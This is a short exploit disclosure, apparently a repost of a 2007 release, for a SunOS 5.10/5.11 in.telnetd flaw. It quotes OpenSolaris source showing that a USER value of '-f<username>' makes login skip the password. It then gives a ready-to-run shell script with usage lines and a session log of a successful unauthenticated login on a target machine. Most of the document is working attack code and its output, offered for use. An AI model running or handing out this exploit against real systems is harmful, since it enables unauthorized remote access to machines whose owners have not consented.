“0day was the case that they gave me”

EL1TEZEROODAYPWNZ

SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope
© COPYRIGHT Kingcope, 2007

There is a severe bug in SunOS 5.10/5.11 in.telnetd.

From Opensolaris source:

/usr/src/cmd/cmd-inet/usr.sbin/in.telnetd.c

```
3198
3199   } else /* default, no auth. info available, login does it all */ {
3200            (void) execl(LOGIN_PROGRAM, "login",
3201                         "-p", "-h", host, "-d", slavename,
3202                         getenv("USER"), 0);
3203   }
```

/usr/src/cmd/login/login.c

```
1397                        break;
1398
1399            case 'f':
1400                        /*
1401                         * Must be root to bypass authentication
1402                         * otherwise we exit() as punishment for trying.
1403                         */
```

```
1404                    if (getuid() != 0 || geteuid() != 0) {
1405                            audit_error = ADT_FAIL_VALUE_AUTH_BYPASS;
1406
1407                            login_exit(1);      /* sigh */
1408                            /*NOTREACHED*/
1409                    }
1410                    /* save fflag user name for future use */
1411                    SCPYL(user_name, optarg);
1412                    fflag = B_TRUE;
```

So if we supply a USER environment variable of “-f<username>” we can get in without a password.

Here is the official Remote Exploit (called sunos):

```
---snip---
#!/bin/sh
# CLASSIFIED CONFIDENTIAL SOURCE MATERIAL
#
# **********ATTENTION**********
# THIS CODE _MUST NOT_ BE DISCLOSED TO ANY THIRD PARTIES
# (C) COPYRIGHT Kingcope, 2007
#
################################################################
echo ""
echo "SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope kingcope@gmx.net"
if [ $# -ne 2 ]; then
        echo "./sunos <host> <account>"
        echo "./sunos localhost bin"
        exit
fi
echo ""
echo "ALEX ALEX"
echo ""
telnet -l"-f$2" $1
---snip---
```

An exploitable target:

```
$ ./sunos <ip> adm

SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope kingcope@gmx.net

ALEX ALEX

Trying <ip>...
Connected to <ip>.
Escape character is '^]'.
Last login: Wed Feb  7 16:28:19 from <ip>
Sun Microsystems Inc.   SunOS 5.10       Generic January 2005
$ uname -a;id
SunOS library7 5.10 Generic_118833-33 sun4u sparc SUNW,Sun-Fire-V245
uid=4(adm) gid=4(adm)
$
```

signed,

kcope, kingcope@gmx.net